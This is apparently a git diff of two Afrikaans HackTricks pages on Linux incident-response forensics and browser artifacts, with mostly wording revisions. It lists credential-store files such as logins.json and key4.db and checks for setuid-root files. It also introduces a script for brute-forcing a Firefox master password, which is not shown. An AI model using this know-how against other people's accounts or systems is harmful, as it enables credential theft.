In ander gevalle moet jy [**LiME**](https://github.com/504ensicsLabs/LiME) van github aflaai en dit met die korrekte kernelkoppe kompileer. Om die **presiese kernelkoppe** van die slagoffer se masjien te bekom, kan jy net die gids `/lib/modules/<kernel weergawe>` na jou masjien kopieer, en dan LiME **kompileer** met behulp daarvan:
```bash
make -C /lib/modules/<kernel version>/build M=$PWD
sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime"
@ -76,7 +76,7 @@ LiME ondersteun 3 **formate**:
* Rou (elke segment aanmekaar gekonkatenasieer)
* Gepas (soortgelyk aan rou, maar met nulle in die regter bietjies)
* LiME (aanbevole formaat met metadata)
* Lime (aanbevole formaat met metadata)
LiME kan ook gebruik word om die storting via die netwerk te **stuur** in plaas van dit op die stelsel te stoor deur iets soos: `path=tcp:4444`
@ -84,8 +84,8 @@ LiME kan ook gebruik word om die storting via die netwerk te **stuur** in plaas
#### Afskakel
Eerstens, sal jy die stelsel moet **afskakel**. Dit is nie altyd 'n opsie nie aangesien die stelsel soms 'n produksieserver kan wees wat die maatskappy nie kan bekostig om af te skakel nie.\
Daar is **2 maniere** om die stelsel af te skakel, 'n **normale afskakeling** en 'n **"trek die prop uit" afskakeling**. Die eerste een sal die **prosesse toelaat om soos gewoonlik te beëindig** en die **lêersisteem** om **gesinkroniseer** te word, maar dit sal ook die moontlike **malware** toelaat om **bewyse te vernietig**. Die "trek die prop uit" benadering mag 'n bietjie **inligtingsverlies** meebring (nie baie van die inligting gaan verlore gaan aangesien ons reeds 'n beeld van die geheue geneem het nie) en die **malware sal geen geleentheid hê** om iets daaraan te doen nie. Daarom, as jy vermoed dat daar 'n **malware** mag wees, voer net die **`sync`** **bevel** op die stelsel uit en trek die prop uit.
Eerstens, sal jy die stelsel moet **afskakel**. Dit is nie altyd 'n opsie nie aangesien die stelsel soms 'n produksieserver sal wees wat die maatskappy nie kan bekostig om af te skakel nie.\
Daar is **2 maniere** om die stelsel af te skakel, 'n **normale afskakeling** en 'n **"trek die prop uit" afskakeling**. Die eerste een sal die **prosesse toelaat om soos gewoonlik te beëindig** en die **lêersisteem** om **gesinkroniseer** te word, maar dit sal ook die moontlike **malware** toelaat om **bewyse te vernietig**. Die "trek die prop uit" benadering mag 'n bietjie **inligtingverlies** meebring (nie baie van die inligting gaan verlore gaan aangesien ons reeds 'n beeld van die geheue geneem het nie) en die **malware sal geen geleentheid hê** om iets daaraan te doen nie. Daarom, as jy **vermoed** dat daar 'n **malware** mag wees, voer net die **`sync`** **bevel** op die stelsel uit en trek die prop uit.
#### 'n Beeld van die skyf neem
@ -153,7 +153,7 @@ r/r 16: secret.txt
icat -i raw -f ext4 disk.img 16
ThisisTheMasterSecret
```
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik en **outomatiseer werkstrome** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
@ -165,7 +165,7 @@ Kry Vandaag Toegang:
### Gewysigde Stelsel lêers
Linux bied gereedskap vir die verseker van die integriteit van stelselkomponente, wat noodsaaklik is om potensieel problematiese lêers op te spoor.
Linux bied gereedskap om die integriteit van stelselkomponente te verseker, wat noodsaaklik is om potensieel problematiese lêers op te spoor.
* **RedHat-gebaseerde stelsels**: Gebruik `rpm -Va` vir 'n omvattende ondersoek.
* **Debian-gebaseerde stelsels**: `dpkg --verify` vir aanvanklike verifikasie, gevolg deur `debsums | grep -v "OK$"` (nadat `debsums` met `apt-get install debsums` geïnstalleer is) om enige probleme te identifiseer.
@ -178,14 +178,14 @@ Lees die volgende bladsy om meer te leer oor gereedskap wat nuttig kan wees om m
[malware-analysis.md](malware-analysis.md)
{% endcontent-ref %}
## Soek na geïnstalleerde programme
## Soek geïnstalleerde programme
Om doeltreffend te soek na geïnstalleerde programme op beide Debian- en RedHat-stelsels, oorweeg om stelsellogs en databasisse te benut saam met handmatige kontroles in algemene gids.
Om doeltreffend te soek na geïnstalleerde programme op beide Debian- en RedHat-stelsels, oorweeg om stelsellogs en databasisse te benut saam met handmatige kontroles in algemene gidsies.
* Vir Debian, ondersoek _**`/var/lib/dpkg/status`**_ en _**`/var/log/dpkg.log`**_ om besonderhede oor pakketaanvullings te kry, gebruik `grep` om te filter vir spesifieke inligting.
* RedHat-gebruikers kan die RPM-databasis ondervra met `rpm -qa --root=/mntpath/var/lib/rpm` om geïnstalleerde pakkette te lys.
Om sagteware wat handmatig geïnstalleer is of buite hierdie pakketsbestuurders geïnstalleer is, te ontdek, verken gids soos _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_, en _**`/sbin`**_. Kombineer gidslys met stelselspesifieke bevele om uitvoerbare lêers te identifiseer wat nie verband hou met bekende pakkette nie, wat jou soektog na alle geïnstalleerde programme verbeter.
Om sagteware wat handmatig geïnstalleer is of buite hierdie pakketsbestuurders geïnstalleer is, te ontdek, verken gidsies soos _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_, en _**`/sbin`**_. Kombineer gidslysings met stelselspesifieke opdragte om uitvoerbare lêers te identifiseer wat nie verband hou met bekende pakkette nie, wat jou soektog na alle geïnstalleerde programme verbeter.
```bash
# Debian package and log details
cat /var/lib/dpkg/status | grep -E "Package:|Status:"
@ -201,17 +201,17 @@ find /sbin/ exec rpm -qf {} \; | grep "is not"
# Find exacuable files
find / -type f -executable | grep <something>
```
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik **werkstrome te bou** en outomatiseer met die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Gebruik [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) om maklik **werkstrome te bou** en outomatiseer met die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Kry Vandaag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Herstel Verwyderde Lopende Binêre Lêers
Stel jou voor 'n proses wat uitgevoer is vanaf /tmp/exec en verwyder is. Dit is moontlik om dit te onttrek
Stel jou voor 'n proses wat uitgevoer is vanaf /tmp/exec en verwyder is. Dit is moontlik om dit terug te haal
```bash
cd /proc/3746/ #PID with the exec file deleted
head -1 maps #Get address of the file. It was 08048000-08049000
@ -238,7 +238,7 @@ ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Libra
Paaie waar 'n kwaadwillige program geïnstalleer kan word as 'n diens:
- **/etc/inittab**: Roep inisialiseringsskripte soos rc.sysinit aan, wat verder na aanloopskripte verwys.
- **/etc/rc.d/** en **/etc/rc.boot/**: Bevat skripte vir diensaanvang, waarvan die laaste in ouer Linux-weergawes gevind word.
- **/etc/rc.d/** en **/etc/rc.boot/**: Bevat skripte vir diensaanloop, waarvan die laaste in ouer Linux-weergawes gevind word.
- **/etc/init.d/**: Word in sekere Linux-weergawes soos Debian gebruik vir die stoor van aanloopskripte.
- Dienste kan ook geaktiveer word via **/etc/inetd.conf** of **/etc/xinetd/**, afhangende van die Linux-variant.
- **/etc/systemd/system**: 'n Gids vir stelsel- en diensbestuurskripte.
@ -249,7 +249,7 @@ Paaie waar 'n kwaadwillige program geïnstalleer kan word as 'n diens:
### Kernelmodules
Linux kernelmodules, dikwels deur kwaadwillige sagteware as rootkit-komponente gebruik, word by stelselbegin gelaai. Die kritieke gids en lêers vir hierdie modules sluit in:
Linux-kernelmodules, dikwels deur kwaadwillige sagteware as rootkit-komponente gebruik, word by stelselbegin gelaai. Die kritieke gids en lêers vir hierdie modules sluit in:
- **/lib/modules/$(uname -r)**: Hou modules vir die lopende kernelweergawe.
- **/etc/modprobe.d**: Bevat konfigurasie lêers om modulelaaiing te beheer.
@ -265,16 +265,16 @@ Linux gebruik verskeie lêers om programme outomaties uit te voer by gebruiker a
## Ondersoek Logboeke
Linux-stelsels hou gebruikersaktiwiteite en stelselgebeure by deur verskeie log lêers. Hierdie logboeke is noodsaaklik vir die identifisering van ongemagtigde toegang, kwaadwillige infeksies, en ander veiligheidsvoorvalle. Sleutel log lêers sluit in:
Linux-stelsels hou gebruikersaktiwiteite en stelselgebeure dop deur verskeie log lêers. Hierdie logboeke is noodsaaklik vir die identifisering van ongemagtigde toegang, kwaadwillige infeksies, en ander veiligheidsvoorvalle. Sleutel log lêers sluit in:
- **/var/log/syslog** (Debian) of **/var/log/messages** (RedHat): Vang stelselwye boodskappe en aktiwiteite op.
- **/var/log/auth.log** (Debian) of **/var/log/secure** (RedHat): Neem outentiseringspogings, suksesvolle en mislukte aanmeldings op.
- Gebruik `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` om relevante outentiseringsgebeure te filter.
- **/var/log/boot.log**: Bevat stelselbeginboodskappe.
- **/var/log/maillog** of **/var/log/mail.log**: Neem e-posdiensaktiwiteite op, nuttig vir die opsporing van e-posverwante dienste.
- **/var/log/maillog** of **/var/log/mail.log**: Neem e-posbedieneraktiwiteite op, nuttig vir die opsporing van e-posverwante dienste.
- **/var/log/kern.log**: Berg kernelboodskappe op, insluitend foute en waarskuwings.
- **/var/log/dmesg**: Hou toestelbestuurderboodskappe aan.
- **/var/log/faillog**: Neem mislukte aanmeldingspogings op, wat help met veiligheidsverbrekingondersoeke.
- **/var/log/dmesg**: Hou toestelbestuurderboodskappe vas.
- **/var/log/faillog**: Neem mislukte aanmeldingspogings op, wat help met veiligheidskrenkingondersoeke.
- **/var/log/cron**: Neem cron-werkuitvoerings op.
- **/var/log/daemon.log**: Volg agtergronddiensaktiwiteite.
- **/var/log/btmp**: Dokumenteer mislukte aanmeldingspogings.
@ -284,7 +284,7 @@ Linux-stelsels hou gebruikersaktiwiteite en stelselgebeure by deur verskeie log
- **/var/log/**: Kontroleer altyd vir onverwagte logboeke hier.
{% hint style="info" %}
Linux-stelsellogboeke en ouditsubstelsels kan gedeaktiveer of verwyder word in 'n indringing of kwaadwillige voorval. Omdat logboeke op Linux-stelsels gewoonlik van die nuttigste inligting oor skadelike aktiwiteite bevat, verwyder indringers dit gereeld. Daarom is dit belangrik om by die ondersoek van beskikbare log lêers te kyk vir gaping of uit plek inskrywings wat 'n aanduiding van verwydering of manipulasie kan wees.
Linux-stelsellogboeke en ouditsubstelsels kan gedeaktiveer of uitgevee word in 'n indringing of kwaadwillige voorval. Omdat logboeke op Linux-stelsels gewoonlik van die nuttigste inligting oor skadelike aktiwiteite bevat, verwyder indringers dit gereeld. Daarom is dit belangrik om by die ondersoek van beskikbare log lêers te kyk vir gaping of uit plek ininskrywings wat 'n aanduiding van uitveeg of manipulasie kan wees.
{% endhint %}
**Linux hou 'n opdraggeskiedenis vir elke gebruiker by**, gestoor in:
@ -320,7 +320,7 @@ Sommige programme genereer ook hul eie logboeke:
[**usbrip**](https://github.com/snovvcrash/usbrip) is 'n klein stukkie sagteware geskryf in suiwer Python 3 wat Linux-log lêers (`/var/log/syslog*` of `/var/log/messages*` afhangende van die distribusie) ontled om USB-gebeurtenisgeskiedenis tabele saam te stel.
Dit is interessant om **al die USB's wat gebruik is te ken** en dit sal meer nuttig wees as jy 'n gemagtigde lys van USB's het om "oortredingsgebeure" te vind (die gebruik van USB's wat nie binne daardie lys is nie).
Dit is interessant om **alle USB's wat gebruik is te ken** en dit sal meer nuttig wees as jy 'n gemagtigde lys van USB's het om "oortredinggebeure" te vind (die gebruik van USB's wat nie binne daardie lys is nie).
### Installasie
```bash
@ -337,17 +337,17 @@ usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid
```
Meer voorbeelde en inligting binne die github: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskaplike gereedskap.\
Kry Vandaag Toegang:
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomaties** aangedryf deur die wêreld se **mees gevorderde** gemeenskaplike gereedskap.\
Kry Toegang Vandag:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Oorsig van Gebruikersrekeninge en Aanmeldaktiwiteite
Ondersoek die _**/etc/passwd**_, _**/etc/shadow**_ en **sekuriteitslogs** vir ongewone name of rekeninge wat geskep is en/of gebruik is in nabyheid van bekende ongemagtigde gebeure. Kyk ook vir moontlike sudo-bruteforce-aanvalle.\
Ondersoek die _**/etc/passwd**_, _**/etc/shadow**_ en **sekuriteitslêers** vir ongewone name of rekeninge wat geskep is en/of gebruik is in nabyheid van bekende ongemagtigde gebeure. Kyk ook vir moontlike sudo-bruteforce-aanvalle.\
Verder, kyk na lêers soos _**/etc/sudoers**_ en _**/etc/groups**_ vir onverwagte voorregte wat aan gebruikers gegee is.\
Laastens, soek na rekeninge met **geen wagwoorde** of **maklik gerade** wagwoorde.
@ -359,14 +359,14 @@ Wanneer malware-voorvalle ondersoek word, is die struktuur van die lêersisteem
Om hierdie teen-forensiese metodes te teenwerk, is dit noodsaaklik om:
* **Voer 'n deeglike tydlyn-analise uit** met behulp van gereedskappe soos **Autopsy** om gebeurtenis-tydlyne te visualiseer of **Sleuth Kit's** `mactime` vir gedetailleerde tydlyn-data.
* **Voer 'n deeglike tydlyn-analise uit** met behulp van gereedskap soos **Autopsy** om gebeurtenis-tydlyne te visualiseer of **Sleuth Kit's** `mactime` vir gedetailleerde tydlyn-data.
* **Ondersoek onverwagte skripte** in die stelsel se $PATH, wat dalk skul of PHP-skripte wat deur aanvallers gebruik word, kan insluit.
* **Ondersoek `/dev` vir atipiese lêers**, aangesien dit tradisioneel spesiale lêers bevat, maar malware-verwante lêers kan bevat.
* **Ondersoek `/dev` vir atipiese lêers**, aangesien dit tradisioneel spesiale lêers bevat, maar moontlik malware-verwante lêers kan bevat.
* **Soek na verskuilde lêers of gidsname** met name soos ".. " (dot dot spatie) of "..^G" (dot dot control-G), wat kwaadwillige inhoud kan verberg.
* **Identifiseer setuid-root-lêers** met die opdrag: `find / -user root -perm -04000 -print` Dit vind lêers met verhoogde regte wat deur aanvallers misbruik kan word.
* **Ondersoek verwyderingstimestamps** in inode-tabelle om massiewe lêerverwyderings op te spoor, wat moontlik die teenwoordigheid van rootkits of trojane kan aandui.
* **Ondersoek verwyderingstydmerke** in inode-tabelle om massiewe lêerverwyderings op te spoor, wat moontlik die teenwoordigheid van rootkits of trojane kan aandui.
* **Inspekteer aaneenlopende inodes** vir nabygeleë kwaadwillige lêers nadat een geïdentifiseer is, aangesien hulle saam geplaas kon wees.
* **Kontroleer algemene binêre gidsname** (_/bin_, _/sbin_) vir onlangs gewysigde lêers, aangesien hierdie deur malware verander kon wees.
* **Kontroleer algemene binêre gids** (_/bin_, _/sbin_) vir onlangs gewysigde lêers, aangesien hierdie deur malware verander kan word.
````bash
# List recent files in a directory:
ls -laR --sort=time /bin```
@ -375,7 +375,7 @@ ls -laR --sort=time /bin```
ls -lai /bin | sort -n```
````
{% hint style="info" %}
Let wel dat 'n **aanvaller** die **tyd kan wysig** om **lêers te laat voorkom** asof hulle **wettig** is, maar hy **kan nie** die **inode** wysig nie. As jy vind dat 'n **lêer** aandui dat dit geskep en gewysig is op dieselfde tyd as die res van die lêers in dieselfde vouer, maar die **inode** is **onverwags groter**, dan is die **tydstempels van daardie lêer gewysig**.
Let wel dat 'n **aanvaller** die **tyd** kan **verander** om **lêers te laat voorkom** asof hulle **wettig** is, maar hy kan nie die **inode** verander nie. As jy vind dat 'n **lêer** aandui dat dit geskep en verander is op dieselfde tyd as die res van die lêers in dieselfde vouer, maar die **inode** is **onverwags groter**, dan is die **tydstempels van daardie lêer verander**.
{% endhint %}
## Vergelyk lêers van verskillende lêersisteemweergawes
@ -418,10 +418,10 @@ git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
Werk jy in 'n **cybersekerheidsmaatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks-swag**](https://peass.creator-spring.com)
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
**Deel jou haktruuks deur PR's in te dien by die** [**hacktricks-opslag**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud-opslag**](https://github.com/carlospolop/hacktricks-cloud).
@ -431,7 +431,7 @@ Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy geadverteer
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **outomatiseer werkafvloei** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik **werkstrome te bou en outomatiseer** met die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Vandag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

View file

@ -6,7 +6,7 @@
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
@ -14,21 +14,21 @@ Ander maniere om HackTricks te ondersteun:
</details>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **outomatiseer werkstrome** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Vandaag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Browser Artefakte <a href="#id-3def" id="id-3def"></a>
Browser artefakte sluit verskeie soorte data in wat deur webblaaier gestoor word, soos navigasiegeskiedenis, bladmerke en tuisbladdata. Hierdie artefakte word in spesifieke velde binne die bedryfstelsel gehou, wat verskil in ligging en naam oor blaaier, maar oor die algemeen soortgelyke datatipes stoor.
Browser artefakte sluit verskeie soorte data in wat deur webblaaier gestoor word, soos navigasiegeskiedenis, bladmerke en tuisbladdata. Hierdie artefakte word in spesifieke velde binne die bedryfstelsel gehou, wat verskil in ligging en naam oor verskillende blaaier, maar oor die algemeen soortgelyke datatipes stoor.
Hier is 'n opsomming van die mees algemene blaaier artefakte:
* **Navigasiegeskiedenis**: Spoor gebruikersbesoeke aan webwerwe, nuttig vir die identifisering van besoeke aan skadelike webwerwe.
* **Navigasiegeskiedenis**: Spoor gebruikersbesoeke aan webwerwe, nuttig om besoeke aan skadelike webwerwe te identifiseer.
* **Outomatiese Data**: Voorstelle gebaseer op gereelde soektogte, bied insigte wanneer dit gekombineer word met navigasiegeskiedenis.
* **Bladmerke**: Webwerwe wat deur die gebruiker gestoor is vir vinnige toegang.
* **Uitbreidings en Byvoegings**: Blaaieruitbreidings of byvoegings wat deur die gebruiker geïnstalleer is.
@ -38,7 +38,7 @@ Hier is 'n opsomming van die mees algemene blaaier artefakte:
* **Blaaier-sessies**: Data wat verband hou met oop blaaier-sessies.
* **Aflaaie**: Rekords van lêers wat deur die blaaier afgelaai is.
* **Vormdata**: Inligting wat in webvorms ingevoer is, gestoor vir toekomstige outomatiese voorstelle.
* **Duimnaels**: Voorskou-afbeeldings van webwerwe.
* **Duimnaels**: Voorbeeldbeelde van webwerwe.
* **Aangepaste Dictionary.txt**: Woorde wat deur die gebruiker by die blaaier se woordeboek gevoeg is.
## Firefox
@ -47,9 +47,9 @@ Firefox organiseer gebruikersdata binne profiele, gestoor op spesifieke plekke g
* **Linux**: `~/.mozilla/firefox/`
* **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/`
* **Windows**: `%userprofile%\AppData\Roaming/Mozilla/Firefox/Profiles/`
* **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\`
'n `profiles.ini`-lêer binne hierdie gide lys die gebruikersprofiele. Elke profiel se data word gestoor in 'n vouer genoem in die `Path`-veranderlike binne `profiles.ini`, geleë in dieselfde gids as `profiles.ini` self. As 'n profiel se vouer ontbreek, kan dit verwyder wees.
'n `profiles.ini`-lêer binne hierdie gide lys die gebruikersprofiele. Elke profiel se data word gestoor in 'n vouer wat genoem word in die `Path`-veranderlike binne `profiles.ini`, geleë in dieselfde gids as `profiles.ini` self. As 'n profiel se vouer ontbreek, kan dit verwyder wees.
Binne elke profielvouer kan jy verskeie belangrike lêers vind:
@ -57,7 +57,7 @@ Binne elke profielvouer kan jy verskeie belangrike lêers vind:
* Gebruik spesifieke SQL-navrae om geskiedenis- en aflaaie-inligting te onttrek.
* **bookmarkbackups**: Bevat rugsteun van bladmerke.
* **formhistory.sqlite**: Stoor webvormdata.
* **handlers.json**: Bestuur protokolhanteraars.
* **handlers.json**: Bestuur protokolhanterings.
* **persdict.dat**: Aangepaste woordeboekwoorde.
* **addons.json** en **extensions.sqlite**: Inligting oor geïnstalleerde byvoegings en uitbreidings.
* **cookies.sqlite**: Koekie-opberging, met [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) beskikbaar vir inspeksie op Windows.
@ -67,14 +67,12 @@ Binne elke profielvouer kan jy verskeie belangrike lêers vind:
* **downloads.sqlite**: Ouer aflaaie-databasis, nou geïntegreer in places.sqlite.
* **thumbnails**: Webwerfduimnaels.
* **logins.json**: Versleutelde aanmeldingsinligting.
* **key4.db** of **key3.db**: Stoor versleutelingsleutels vir die beveiliging van sensitiewe inligting.
* **key4.db** of **key3.db**: Stoor versleutelingssleutels vir die beveiliging van sensitiewe inligting.
Daarbenewens kan die blaaier se anti-phishing-instellings nagegaan word deur te soek na `browser.safebrowsing`-inskrywings in `prefs.js`, wat aandui of veilige blaai-funksies geaktiveer of gedeaktiveer is.
Daarbenewens kan die blaaier se teen-phishing-instellings nagegaan word deur te soek na `browser.safebrowsing`-inskrywings in `prefs.js`, wat aandui of veilige blaai-funksies geaktiveer of gedeaktiveer is.
Om te probeer om die meesterwagwoord te ontsluit, kan jy [https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt) gebruik\
Met die volgende skripsie en oproep kan jy 'n wagwoordlêer spesifiseer om krag te gebruik:
{% code title="brute.sh" %}
```bash
#!/bin/bash
@ -97,33 +95,33 @@ Binne hierdie gids kan die meeste gebruikersdata gevind word in die **Default/**
- **Geskiedenis**: Bevat URL's, aflaaie, en soek sleutelwoorde. Op Windows kan [ChromeHistoryView](https://www.nirsoft.net/utils/chrome\_history\_view.html) gebruik word om die geskiedenis te lees. Die "Oorgangstipe" kolom het verskeie betekenisse, insluitend gebruikersklikke op skakels, getikte URL's, vormindienings, en bladsy herlaaiings.
- **Koekies**: Stoor koekies. Vir inspeksie is [ChromeCookiesView](https://www.nirsoft.net/utils/chrome\_cookies\_view.html) beskikbaar.
- **Cache**: Hou gekaapte data. Windows-gebruikers kan [ChromeCacheView](https://www.nirsoft.net/utils/chrome\_cache\_view.html) gebruik om te inspekteer.
- **Cache**: Hou gekaapte data. Om te inspekteer, kan Windows-gebruikers [ChromeCacheView](https://www.nirsoft.net/utils/chrome\_cache\_view.html) gebruik.
- **Bladmerke**: Gebruiker bladmerke.
- **Web Data**: Bevat vormgeskiedenis.
- **Favicons**: Stoor webwerf favicons.
- **Aantekeningsdata**: Sluit aanmeldingsbewyse soos gebruikersname en wagwoorde in.
- **Huidige Sessie**/**Huidige Lappe**: Data oor die huidige blaai-sessie en oop lappe.
- **Laaste Sessie**/**Laaste Lappe**: Inligting oor die webwerwe aktief tydens die laaste sessie voor Chrome gesluit is.
- **Uitbreidings**: Gids vir blaaieruitbreidings en byvoegings.
- **Uitbreidings**: Gidse vir blaaieruitbreidings en byvoegings.
- **Duimnaels**: Stoor webwerf duimnaels.
- **Voorkeure**: 'n Lêer ryk aan inligting, insluitend instellings vir plugins, uitbreidings, pop-ups, kennisgewings, en meer.
- **Blaaier se ingeboude teen-phishing**: Om te kontroleer of teen-phishing en kwaadwillige beskerming geaktiveer is, hardloop `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Soek na `{"enabled: true,"}` in die uitset.
## **SQLite DB Data Herwinning**
Soos waargeneem kan word in die vorige afdelings, gebruik beide Chrome en Firefox **SQLite** databasisse om die data te stoor. Dit is moontlik om **verwyderde inskrywings te herwin met die hulpmiddel** [**sqlparse**](https://github.com/padfoot999/sqlparse) **of** [**sqlparse\_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases).
Soos waargeneem kan word in die vorige afdelings, gebruik sowel Chrome as Firefox **SQLite** databasisse om die data te stoor. Dit is moontlik om **verwyderde inskrywings te herwin met die hulpmiddel** [**sqlparse**](https://github.com/padfoot999/sqlparse) **of** [**sqlparse\_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases).
## **Internet Explorer 11**
Internet Explorer 11 bestuur sy data en metadata oor verskeie plekke, wat help om gestoorde inligting en die ooreenstemmende besonderhede maklik toeganklik en bestuurbaar te maak.
Internet Explorer 11 bestuur sy data en metadata oor verskeie plekke, wat help om gestoorde inligting en die ooreenstemmende besonderhede te skei vir maklike toegang en bestuur.
### Metadata Berging
Metadata vir Internet Explorer word gestoor in `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (met VX wat V01, V16, of V24 kan wees). Tesame hiermee kan die `V01.log` lêer wysigingstyd diskrepansies met `WebcacheVX.data` toon, wat 'n behoefte vir herstel met `esentutl /r V01 /d` aandui. Hierdie metadata, gehuis in 'n ESE databasis, kan herwin en ondersoek word met hulpmiddels soos photorec en [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) onderskeidelik. Binne die **Containers** tabel kan 'n persoon die spesifieke tabelle of houers onderskei waar elke data segment gestoor word, insluitend cache besonderhede vir ander Microsoft gereedskap soos Skype.
